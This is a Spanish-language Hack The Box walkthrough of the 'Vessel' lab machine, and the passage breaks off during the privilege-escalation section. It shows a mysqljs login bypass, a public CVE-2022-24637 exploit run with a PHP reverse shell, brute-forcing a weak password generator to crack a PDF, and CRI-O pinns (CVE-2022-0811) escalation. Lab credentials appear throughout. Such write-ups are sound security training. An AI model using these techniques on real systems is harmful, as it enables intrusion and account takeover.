Table of Contents
Hack The Box: Vessel Writeup
Welcome to my detailed writeup of the hard difficulty machine “Vessel” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.122.59 --ulimit 5000 -g
210.129.122.59 -> [22,80]
1nmap -p22,80 -sCV 10.129.122.59 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 23:43 CET
3Nmap scan report for 10.129.122.59
4Host is up (0.037s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
10| 256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
11|_ 256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
1280/tcp open http Apache httpd 2.4.41 ((Ubuntu))
13|_http-trane-info: Problem with XML parsing of /evox/about
14|_http-server-header: Apache/2.4.41 (Ubuntu)
15|_http-title: Vessel
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.122.59 -oN allPorts.UDP
2[sudo] password for kali:
3Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 23:44 CET
4Nmap scan report for 10.129.122.59
5Host is up (0.036s latency).
6Not shown: 1494 open|filtered udp ports (no-response)
7PORT STATE SERVICE
821/udp closed ftp
910000/udp closed ndmp
1017616/udp closed unknown
1122739/udp closed unknown
1224837/udp closed unknown
1337843/udp closed unknown
14
15Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds
Del escaneo inicial no encontramos nada relevante, lo único es que la versión de OpenSSH no está desactualizada, por lo cual la intrusión probablemente sea vía web.
HTTP Enumeration
whatweb
no nos reporta nada interesante.
1whatweb http://10.129.122.59
2http://10.129.122.59 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[name@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.122.59], Script, Title[Vessel], X-Powered-By[Express]
Así se ve el sitio web.
En el footer de la página vemos el dominio vessel.htb
, lo añadimos al /etc/hosts
pero vemos que el sitio web no varia.
Vemos un panel de inicio de sesión en /login
, también vemos otros endpoints como /register
y /forgot
No podemos crearnos una cuenta de usuario ya que esta funcionalidad no está disponible.
Podemos ver que se están realizando peticiones a un endpoint de una API.
Fuzzeando con feroxbuster
encontramos algunos recursos interesantes pero necesitamos autenticarnos para poder acceder a ellos.
1feroxbuster -u http://vessel.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://vessel.htb
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22302 GET 1l 4w 26c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200 GET 948l 5414w 441616c http://vessel.htb/img/portfolio/thumbnails/5.jpg
24200 GET 11458l 22050w 213528c http://vessel.htb/css/styles.css
25200 GET 587l 4806w 459584c http://vessel.htb/img/portfolio/thumbnails/3.jpg
26200 GET 3452l 18206w 1464740c http://vessel.htb/img/portfolio/thumbnails/1.jpg
27302 GET 1l 4w 28c http://vessel.htb/admin => http://vessel.htb/login
28301 GET 10l 16w 173c http://vessel.htb/css => http://vessel.htb/css/
29200 GET 70l 182w 4213c http://vessel.htb/Login
30301 GET 10l 16w 173c http://vessel.htb/dev => http://vessel.htb/dev/
31301 GET 10l 16w 171c http://vessel.htb/js => http://vessel.htb/js/
32302 GET 1l 4w 28c http://vessel.htb/logout => http://vessel.htb/login
33200 GET 1l 176w 6119c http://vessel.htb/img/error-404-monochrome.svg
34200 GET 51l 125w 2393c http://vessel.htb/404
35301 GET 10l 16w 173c http://vessel.htb/img => http://vessel.htb/img/
36200 GET 52l 120w 2400c http://vessel.htb/401
37200 GET 51l 117w 2335c http://vessel.htb/500
38200 GET 89l 234w 5830c http://vessel.htb/Register
39200 GET 70l 182w 4213c http://vessel.htb/login
40200 GET 26l 70w 976c http://vessel.htb/js/script.js
41200 GET 63l 177w 3637c http://vessel.htb/reset
42200 GET 89l 234w 5830c http://vessel.htb/register
43200 GET 59l 147w 1781c http://vessel.htb/js/scripts.js
44200 GET 11766l 22753w 223365c http://vessel.htb/css/style.css
45200 GET 919l 5377w 433443c http://vessel.htb/img/portfolio/thumbnails/2.jpg
46200 GET 1277l 6344w 492607c http://vessel.htb/img/portfolio/thumbnails/4.jpg
47200 GET 1494l 8228w 657198c http://vessel.htb/img/portfolio/thumbnails/6.jpg
48200 GET 243l 871w 15030c http://vessel.htb/
49302 GET 1l 4w 28c http://vessel.htb/Admin => http://vessel.htb/login
50302 GET 1l 4w 28c http://vessel.htb/Logout => http://vessel.htb/login
51404 GET 9l 31w 272c http://vessel.htb/http%3A%2F%2Fwww
52404 GET 9l 31w 272c http://vessel.htb/http%3A%2F%2Fyoutube
53400 GET 10l 59w 1154c http://vessel.htb/%C0
54404 GET 9l 31w 272c http://vessel.htb/http%3A%2F%2Fblogs
55404 GET 9l 31w 272c http://vessel.htb/http%3A%2F%2Fblog
56404 GET 9l 31w 272c http://vessel.htb/**http%3A%2F%2Fwww
57403 GET 9l 28w 275c http://vessel.htb/server-status
58200 GET 70l 182w 4213c http://vessel.htb/LogIn
59[###########>--------] - 61s 123392/220579 0s found:36 errors:2
60🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_vessel_htb-1733266343.state ...
Y fuzzeando los endpoints de /api
no encontramos nada interesante.
Podemos fuzzear por subdominios (vhost’s) y tampoco encontramos nada interesante.
1wfuzz --hh=15030 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.vessel.htb' http://vessel.htb
Finding /.git
resource under /dev
directory
Podemos intentar fuzzear también bajo los directorios encontrados, /admin
y /dev
y encontramos algo interesante, un repositorio bajo /dev/.git
, esto es interesante ya que podemos recomponer el repositorio original, ver el código fuente y también revisar todos los commits y quizás exista información confidencial expuesta.
1feroxbuster -u http://vessel.htb/dev/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://vessel.htb/dev/
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22302 GET 1l 4w 26c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200 GET 8l 20w 139c http://vessel.htb/dev/.git/config
24200 GET 1l 2w 23c http://vessel.htb/dev/.git/HEAD
25200 GET 19l 55w 3596c http://vessel.htb/dev/.git/index
Esto ya lo hemos visto en otras máquinas, podemos utilizar la herramienta git-dumper para poder reconstruir el repo.
Primero clonamos el repositorio.
1git clone https://github.com/arthaud/git-dumper
2Cloning into 'git-dumper'...
3remote: Enumerating objects: 201, done.
4remote: Counting objects: 100% (134/134), done.
5remote: Compressing objects: 100% (60/60), done.
6remote: Total 201 (delta 85), reused 92 (delta 74), pack-reused 67 (from 1)
7Receiving objects: 100% (201/201), 58.39 KiB | 1.62 MiB/s, done.
8Resolving deltas: 100% (106/106), done.
Y simplemente debemos especificar la URL del repositorio y un directorio donde queramos guardar el contenido.
1python3 git_dumper.py http://vessel.htb/dev/.git/ vessel.htb
2[-] Testing http://vessel.htb/dev/.git/HEAD [200]
3[-] Testing http://vessel.htb/dev/.git/ [302]
4[-] Fetching common files
5[-] Fetching http://vessel.htb/dev/.git/COMMIT_EDITMSG [200]
6[-] Fetching http://vessel.htb/dev/.gitignore [302]
7[-] http://vessel.htb/dev/.gitignore responded with status code 302
8[-] Fetching http://vessel.htb/dev/.git/description [200]
9.........
Y tenemos el código fuente de la aplicación.
1➜ vessel.htb git:(master) ls
2config index.js public routes views
Analizando el código fuente, podemos ver que la única funcionalidad implementada es el inicio de sesión, por lo cual solo podemos “indagar” por aquí.
En el fichero config/db.js
encontramos unas credenciales para acceso de base de datos, pero no son válidas para el usuario admin
en el panel de administración.
1cat -p db.js
2var mysql = require('mysql');
3
4var connection = {
5 db: {
6 host : 'localhost',
7 user : 'default',
8 password : 'daqvACHKvRn84VdVp',
9 database : 'vessel'
10}};
11
12module.exports = connection;
Podemos ver un commit utilizando git log
(el primero) donde se indica que la versión de mysqljs
ha sido actualizada ya que había sido deprecada, pero se sigue usando.
SQL Injection - Authentication Bypass
Viendo el segundo commit, vemos que se cambió la lógica del inicio de sesión para utilizar Prepared Statements
y así evitar una inyección SQL.
Igualmente, me encontré con este artículo donde se habla de un comportamiento extraño en la función encargada de escapar los caracteres especiales y evitar un SQLi.
Recomiendo leer el artículo entero para entender que es lo que está pasando por detrás y porque se puede llegar acontecer una inyección.
Este código que aparentemente es seguro, resulta ser vulnerable.
1...
2app.post("/auth", function (request, response) {
3 var username = request.body.username;
4 var password = request.body.password;
5 if (username && password) {
6 connection.query(
7 "SELECT * FROM accounts WHERE username = ? AND password = ?",
8 [username, password],
9 function (error, results, fields) {
10 ...
11 }
12 );
13 }
14});
15...
Esto es porque es posible pasar a los valores username
y password
algo que no sea un string, valores como Object
, Boolean
y Array
Vamos a burpsuite
y probando payloads vemos que se nos reporta un error en el JSON, esto es buena señal ya que el servidor está interpretando nuestra petición.
Esto lo podemos revisar en el código igualmente ya que podemos ver que no se está filtrando nada, simplemente se asigna a las variables username
y password
lo que se le pase, sin ninguna exigencia ni sanitización.
1let username = req.body.username;
2let password = req.body.password;
También es important cambiar la cabecera de Content-Type
para que el servidor sepa que la petición enviada es con data de tipo application/json
Entonces, podemos intentar iniciar sesión haciendo que la password valga 0
, esto se traduciría en False
y vemos que no podemos iniciar sesión.
Sin embargo, si lo establecemos a 1
(True
) vemos que se nos redirecciona a /admin
, por ende, hemos iniciado sesión.
Vamos a copiar el valor de la cookie connect.sid
ya que equivale a una sesión en la cual he iniciado sesión, y ahora vamos a establecerla en nuestro navegador
Ahora podemos acceder al /admin
Vemos que en analytics
se nos redirecciona al subdominio openwebanalytics.vessel.htb
, vamos a añadir el subdominio al /etc/hosts
Abusing CVE-2022-24637 -> Foothold
Leyendo el código fuente, podemos ver que la versión de OWA
es la 1.7.3
Esto ya lo he explotado en la máquina Analytics de CyberWave y juraría que en otra más.
Vamos a utilizar este PoCpara conseguir acceso a la máquina. Esta vulnerabilidad consiste en una forma no controlada por la que se consigue reestablecer la contraseña del usuario administrador y se consigue la ejecución remota de comandos mediante los logs inyectando un archivo PHP malicioso.
Primero clonamos el repositorio.
1git clone https://github.com/0xRyuk/CVE-2022-24637
2Cloning into 'CVE-2022-24637'...
3remote: Enumerating objects: 11, done.
4remote: Counting objects: 100% (11/11), done.
5remote: Compressing objects: 100% (9/9), done.
6remote: Total 11 (delta 2), reused 8 (delta 1), pack-reused 0 (from 0)
7Receiving objects: 100% (11/11), 7.75 KiB | 7.75 MiB/s, done.
8Resolving deltas: 100% (2/2), done.
Y modificamos el archivo php-reverse-shell.php
estableciendo nuestra IP y nuestro puerto por el que estaremos en escucha.
Ahora nos ponemos en escucha con pwncat-cs
por el puerto 443.
1pwncat-cs -lp 443
Lanzamos el exploit.
1python3 exploit.py http://openwebanalytics.vessel.htb
2[SUCCESS] Connected to "http://openwebanalytics.vessel.htb/" successfully!
3[ALERT] The webserver indicates a vulnerable version!
4[INFO] Attempting to generate cache for "admin" user
5[INFO] Attempting to find cache of "admin" user
6[INFO] Found temporary password for user "admin": ecaa1041bc122060dacf9aa1944e2efb
7[INFO] Changed the password of "admin" to "rZvuUxXdGaL1WmMJzh7k3EPNGMzmvtbV"
8[SUCCESS] Logged in as "admin" user
9[INFO] Creating log file
10[INFO] Wrote payload to log file
Y recibimos una conexión en pwncat
ganando acceso como el usuario www-data
1[00:31:15] received connection from 10.129.122.59:56796 bind.py:84
2[00:31:16] 0.0.0.0:443: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
3[00:31:17] 10.129.122.59:56796: registered new host w/ db manager.py:957
4(local) pwncat$
5(remote) www-data@vessel:/$ id
6uid=33(www-data) gid=33(www-data) groups=33(www-data)
User Pivoting
Vemos que existen dos usuarios a parte de root
, ethan
y steven
, así que supongo que tendremos que migrar de usuario antes de poder escalar privilegios.
1(remote) www-data@vessel:/$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3ethan:x:1000:1000:ethan:/home/ethan:/bin/bash
4steven:x:1001:1001:,,,:/home/steven:/bin/bash
Podemos acceder al directorio personal del usuario steven
por alguna razón y vemos un binario llamado passwordGenerator
, también vemos un directorio .notes
1(remote) www-data@vessel:/home$ ls -la
2total 16
3drwxr-xr-x 4 root root 4096 Aug 11 2022 .
4drwxr-xr-x 19 root root 4096 Aug 11 2022 ..
5drwx------ 5 ethan ethan 4096 Aug 11 2022 ethan
6drwxrwxr-x 3 steven steven 4096 Aug 11 2022 steven
7(remote) www-data@vessel:/home$ cd ethan
8bash: cd: ethan: Permission denied
9(remote) www-data@vessel:/home$ cd steven/
10(remote) www-data@vessel:/home/steven$ ls
11passwordGenerator
12(remote) www-data@vessel:/home/steven$ ls -la
13total 33796
14drwxrwxr-x 3 steven steven 4096 Aug 11 2022 .
15drwxr-xr-x 4 root root 4096 Aug 11 2022 ..
16lrwxrwxrwx 1 root root 9 Apr 18 2022 .bash_history -> /dev/null
17-rw------- 1 steven steven 220 Apr 17 2022 .bash_logout
18-rw------- 1 steven steven 3771 Apr 17 2022 .bashrc
19drwxr-xr-x 2 ethan steven 4096 Aug 11 2022 .notes
20-rw------- 1 steven steven 807 Apr 17 2022 .profile
21-rw-r--r-- 1 ethan steven 34578147 May 4 2022 passwordGenerator
passwordGenerator
no es un binario si no un ejecutable Windows.
1(remote) www-data@vessel:/home/steven$ file passwordGenerator
2passwordGenerator: PE32 executable (console) Intel 80386, for MS Windows
Este directorio contiene un archivo PDF y una imagen.
1(remote) www-data@vessel:/home/steven/.notes$ ls -la
2total 40
3drwxr-xr-x 2 ethan steven 4096 Aug 11 2022 .
4drwxrwxr-x 3 steven steven 4096 Aug 11 2022 ..
5-rw-r--r-- 1 ethan steven 17567 Aug 10 2022 notes.pdf
6-rw-r--r-- 1 ethan steven 11864 May 2 2022 screenshot.png
Vamos a descargarnos este PDF y esta imagen haciendo uso de la función interna download
de pwncat-cs
1(remote) www-data@vessel:/home/steven/.notes$
2(local) pwncat$ download notes.pdf
3notes.pdf ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.6/17.6 KB • ? • 0:00:00
4[00:34:31] downloaded 17.57KiB in 0.32 seconds download.py:71
5(local) pwncat$ download screenshot.png
6screenshot.png ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 11.9/11.9 KB • ? • 0:00:00
7[00:34:36] downloaded 11.86KiB in 0.20 seconds
Vemos que el PDF está protegido con contraseña.
Y la imagen nos muestra la interfaz gráfica del ejecutable encontrado.
De esta imagen podemos suponer que la contraseña del PDF tiene varios caracteres y 32 de longitud.
Reversing passwordGenerator
Vamos a descargar el ejecutable para analizarlo.
1local) pwncat$ download passwordGenerator
2passwordGenerator ━━━╺━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 6.0% • 2.1/34.6 MB • 3.0 MB/s • 0:00:11
3[00:38:08] downloaded 34.58MiB in 1.17 seconds
Como no se está utilizando .NET, primero me interesa saber como está hecho este binario para poder analizarlo.
1strings passwordGenerator
2.....
3bQt5Svg.dll
4bQt5VirtualKeyboard.dll
5bQt5WebSockets.dll
6bQt5Widgets.dll
7bVCRUNTIME140.dll
8b_bz2.pyd
9b_ctypes.pyd
10b_hashlib.pyd
11b_lzma.pyd
12b_socket.pyd
13b_ssl.pyd
14bd3dcompiler_47.dll
15blibEGL.dll
16blibGLESv2.dll
17blibcrypto-1_1.dll
18blibssl-1_1.dll
19bopengl32sw.dll
20bpyexpat.pyd
21bpyside2.abi3.dll
22bpython3.dll
23bpython37.dll
24bselect.pyd
25bshiboken2.abi3.dll
26bshiboken2\shiboken2.pyd
27bunicodedata.pyd
28xPySide2\translations\qtbase_ar.qm
29xPySide2\translations\qtbase_bg.qm
30xPySide2\translations\qtbase_ca.qm
31xPySide2\translations\qtbase_cs.qm
32xPySide2\translations\qtbase_da.qm
33xPySide2\translations\qtbase_de.qm
34xPySide2\translations\qtbase_en.qm
35xPySide2\translations\qtbase_es.qm
36xPySide2\translations\qtbase_fi.qm
37xPySide2\translations\qtbase_fr.qm
38xPySide2\translations\qtbase_gd.qm
39xPySide2\translations\qtbase_he.qm
40xPySide2\translations\qtbase_hu.qm
41xPySide2\translations\qtbase_it.qm
42xPySide2\translations\qtbase_ja.qm
43xPySide2\translations\qtbase_ko.qm
44xPySide2\translations\qtbase_lv.qm
45xPySide2\translations\qtbase_pl.qm
46xPySide2\translations\qtbase_ru.qm
47xPySide2\translations\qtbase_sk.qm
48xPySide2\translations\qtbase_tr.qm
49xPySide2\translations\qtbase_uk.qm
50xPySide2\translations\qtbase_zh_TW.qm
51xbase_library.zip
52zPYZ-00.pyz
533python37.dll
Podemos suponer que se está utilizando python3.7
y para la interfaz gráfica la librería Qt5
, entonces probablemente se esté utilizando PyInstaller
o py2exe
para crear el ejecutable para Windows.
Podemos buscar como podemos descompilar este ejecutable, y encontramos un proyecto interesante llamado pyinstxtractor
Vamos a clonar este repositorio.
1git clone https://github.com/extremecoders-re/pyinstxtractor
2Cloning into 'pyinstxtractor'...
3remote: Enumerating objects: 205, done.
4remote: Counting objects: 100% (130/130), done.
5remote: Compressing objects: 100% (61/61), done.
6remote: Total 205 (delta 82), reused 90 (delta 69), pack-reused 75 (from 1)
7Receiving objects: 100% (205/205), 66.87 KiB | 1.52 MiB/s, done.
8Resolving deltas: 100% (100/100), done.
Ahora podemos extraer todo el bytecode de python del ejecutable.
1python2.7 pyinstxtractor.py passwordGenerator
2[+] Processing passwordGenerator
3[+] Pyinstaller version: 2.1+
4[+] Python version: 3.7
5[+] Length of package: 34300131 bytes
6[+] Found 95 files in CArchive
7[+] Beginning extraction...please standby
8[+] Possible entry point: pyiboot01_bootstrap.pyc
9[+] Possible entry point: pyi_rth_subprocess.pyc
10[+] Possible entry point: pyi_rth_pkgutil.pyc
11[+] Possible entry point: pyi_rth_inspect.pyc
12[+] Possible entry point: pyi_rth_pyside2.pyc
13[+] Possible entry point: passwordGenerator.pyc
14[!] Warning: This script is running in a different Python version than the one used to build the executable.
15[!] Please run this script in Python 3.7 to prevent extraction errors during unmarshalling
16[!] Skipping pyz extraction
17[+] Successfully extracted pyinstaller archive: passwordGenerator
18
19You can now use a python decompiler on the pyc files within the extracted directory
Vemos todos los archivos en el directorio passwordGenerator_extracted
1ls
2base_library.zip libcrypto-1_1.dll MSVCP140_1.dll pyiboot01_bootstrap.pyc pyi_rth_inspect.pyc pyside2.abi3.dll Qt5Core.dll Qt5Qml.dll Qt5WebSockets.dll _socket.pyd
3_bz2.pyd libEGL.dll MSVCP140.dll pyimod01_os_path.pyc pyi_rth_pkgutil.pyc python37.dll Qt5DBus.dll Qt5QmlModels.dll Qt5Widgets.dll _ssl.pyd
4_ctypes.pyd libGLESv2.dll opengl32sw.dll pyimod02_archive.pyc pyi_rth_pyside2.pyc python3.dll Qt5Gui.dll Qt5Quick.dll select.pyd struct.pyc
5d3dcompiler_47.dll libssl-1_1.dll passwordGenerator.pyc pyimod03_importers.pyc pyi_rth_subprocess.pyc PYZ-00.pyz Qt5Network.dll Qt5Svg.dll shiboken2 unicodedata.pyd
6_hashlib.pyd _lzma.pyd pyexpat.pyd pyimod04_ctypes.pyc PySide2 PYZ-00.pyz_extracted Qt5Pdf.dll Qt5VirtualKeyboard.dll shiboken2.abi3.dll VCRUNTIME140.dll
Podemos utilizar decompyle3
para descompilar el bytecode y ver el código python de la aplicación.
1pip3 install decompyle3
1decompyle3 passwordGenerator.pyc > main.py
Ahora podemos analizar el código de main.py
que es el ejecutable de Windows.
Lo que nos interesa es la función genPassword()
1def genPassword(self):
2 length = value
3 char = index
4 if char == 0:
5 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?"
6 elif char == 1:
7 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
8 elif char == 2:
9 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"
10 try:
11 qsrand(QTime.currentTime().msec())
12 password = ""
13 for i in range(length):
14 idx = qrand() % len(charset)
15 nchar = charset[idx]
16 password += str(nchar)
17
18 except:
19 msg = QMessageBox()
20 msg.setWindowTitle("Error")
21 msg.setText("Error while generating password!, Send a message to the Author!")
22 x = msg.exec_()
23
24 return password
Creating Bruteforce Script
Suponiendo que se está utilizando todos los caracteres como se ve en la imagen, podemos suponer que se está utilizando el primer charset
Después:
- Se inicializa la semilla del generador de números aleatorios (
qsrand
) basada en los milisegundos actuales (QTime.currentTime().msec()
). - Se construye la contraseña de forma iterativa. Para cada carácter:
- Se genera un índice aleatorio (
idx
) dentro del rango del tamaño del conjunto de caracteres seleccionado. - Se toma el carácter correspondiente y se añade a la contraseña.
- Se genera un índice aleatorio (
Entonces, necesitamos saber en que milisegundo exacto y como funciona la función msec()
En este caso se retorna el milisegundo en el que se creó la contraseña, desde el 0 hasta el 999. Esto significa que solo existen 1000 combinaciones para la seed, por ende, solo existen 1000 contraseñas posibles para el PDF.
Vamos a instalar la librería PySide2
que es la que contiene las funciones qsrand
y qrand
para crear todas las posibles combinaciones.
1pip3 install pyside2
Este es el script que va a generar las 1000 posibles contraseñas.
1#!/usr/bin/python3
2from PySide2.QtCore import qsrand, qrand
3
4MAX_SEED_VALUE = 1000
5PASSWORD_LENGTH = 32
6
7def generate_password(seed):
8 charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?"
9 qsrand(seed)
10 password = ""
11 for i in range(PASSWORD_LENGTH):
12 idx = qrand() % len(charset)
13 nchar = charset[idx]
14 password += str(nchar)
15 return password
16
17def main():
18 for i in range(MAX_SEED_VALUE):
19 password = generate_password(i)
20 print(password)
21
22if __name__ == "__main__":
23 main()
Podemos generar las contraseñas y guardarlas en un fichero passwords.txt
1python3 brute.py > passwords.txt
Ahora podemos exportar el hash con pdf2john
a un fichero hash
1pdf2john notes.pdf > hash
Y al intentar crackear este hash con john
y las contraseñas generadas vemos que no encuentra resultado.
1john -w=passwords.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
4Cost 1 (revision) is 3 for all loaded hashes
5Will run 4 OpenMP threads
6Press 'q' or Ctrl-C to abort, almost any other key for status
70g 0:00:00:00 DONE (2024-12-04 01:23) 0g/s 24975p/s 24975c/s 24975C/s 2J16^>.|vtXpN2[o1H;e4f|FF0([y+|q..l2DoG^icl}>kZ[tNB|:]m5km@{x:^7ck
8Session completed.
Why it doesn’t work in Linux?
Entonces, leyendo la documentación de qrand() podemos leer el siguiente texto.
Thread-safe version of the standard C++
rand()
function.Returns a value between 0 and
RAND_MAX
(defined in<cstdlib>
and<stdlib.h>
), the next number in the current sequence of pseudo-random integers.
Esto significa que no se generaría los mismos números ya que la función qrand()
utiliza la implementación estándar de rand()
de C++ la cual varía entre plataformas, Microsoft y GNU tiene diferentes algoritmos para rand()
por lo cual da lugar a secuencias distintas incluso con la misma semilla. Factores como diferencias en el algoritmo, el valor de RAND_MAX
y el manejo interno de números afectan los resultados por lo cual, vamos a probar a generar las 1000 posibles credenciales en Windows y probar a crackear el hash.
Cracking PDF hash
Para ello, en una máquina Windows, podemos descargar PySide2
igual que en linux (debemos tener una versión de Python inferior a la 3.10
, en mi caso, he utilizado la 3.7
)
1pip3 install pyside2
Ejecutamos el script y vemos que efectivamente, son contraseñas distintas.
Copiamos estas contraseñas a nuestra máquina linux y ahora con john
podemos crackear el hash que anteriormente he extraido.
1john -w=passwords_win.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
4Cost 1 (revision) is 3 for all loaded hashes
5Will run 4 OpenMP threads
6Press 'q' or Ctrl-C to abort, almost any other key for status
7YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS (notes.pdf)
81g 0:00:00:00 DONE (2024-12-04 01:56) 100.0g/s 38400p/s 38400c/s 38400C/s _jEkA+f0VXtWZ[K.d+EdaBAB>;r]E3Z*..r6TUgox@Tb5JWnK5AHO}$AE%8!d58Shq
9Use the "--show --format=PDF" options to display all of the cracked passwords reliably
10Session completed.
Ahora podemos leer el PDF y vemos una credencial que supuestamente es de ethan
Por lo cual tenemos un combo, ethan: b@mPRNSVTjjLKId1T
que es válido en la máquina víctima y podemos migrar de usuario.
1(remote) www-data@vessel:/home/steven/.notes$ su ethan
2Password:
3ethan@vessel:/home/steven/.notes$ id
4uid=1000(ethan) gid=1000(ethan) groups=1000(ethan)
Podemos ver la flag de usuario.
1ethan@vessel:~$ cat user.txt
28458e60618f88d...
Privilege Escalation
Tras enumerar la máquina victima encontramos un binario con permiso de SUID un tanto extraño. Este es el binario pinns
1ethan@vessel:~$ find / \-perm \-4000 2>/dev/null
2/usr/lib/eject/dmcrypt-get-device
3/usr/lib/openssh/ssh-keysign
4/usr/lib/policykit-1/polkit-agent-helper-1
5/usr/lib/dbus-1.0/dbus-daemon-launch-helper
6/usr/bin/fusermount
7/usr/bin/passwd
8/usr/bin/gpasswd
9/usr/bin/sudo
10/usr/bin/umount
11/usr/bin/newgrp
12/usr/bin/chfn
13/usr/bin/at
14/usr/bin/chsh
15/usr/bin/mount
16/usr/bin/su
17/usr/bin/pinns
Aparentemente este binario no tiene panel de ayuda ni entrada en man
1ethan@vessel:~$ /usr/bin/pinns
2[pinns:e]: Path for pinning namespaces not specified: Invalid argument
3ethan@vessel:~$ /usr/bin/pinns --help
4ethan@vessel:~$ man pinns
5No manual entry for pinns
Buscando en Google encontré un par de artículos interesantes. El que mas me interesa es este escrito por CrowdStrike
Abusing CVE-2022-0811
Se relata como existe una vulnerabilidad para escapar de un contenedor Kubernetes y ganar acceso como root
en la máquina anfitriona, igualmente no se necesita Kubernetes para poder explotar esto, ya que cualquier máquina que tenga instalado CRI-O
puede usarse para establecer parámetros en el kernel.
Kubernetes is not necessary to invoke CVE-2022-8011. An attacker on a machine with CRI-O installed can use it to set kernel parameters all by itself.
La versión vulnerable de CRI-O
es la 1.19+
y podemos consultar que la máquina víctima contiene este binario y pertenece a una versión vulnerable.
1ethan@vessel:~$ crio -v
2crio version 1.19.6
3Version: 1.19.6
4GitCommit: c12bb210e9888cf6160134c7e636ee952c45c05a
5GitTreeState: clean
6BuildDate: 2022-03-15T18:18:24Z
7GoVersion: go1.15.2
8Compiler: gc
9Platform: linux/amd64
10Linkmode: dynamic
Según el artículo, nuestra meta es poder abusar del parámetro kernel.core_pattern
para poder ejecutar comandos como root
.
Podemos leer el manual de core para consultar donde podemos ver la información del valor de kernel.core_pattern
y vemos que en la máquina víctima tiene un valor normal.
1https://man7.org/linux/man-pages/man5/core.5.html
Podemos leer este commit y nos damos cuenta de que CRI-O
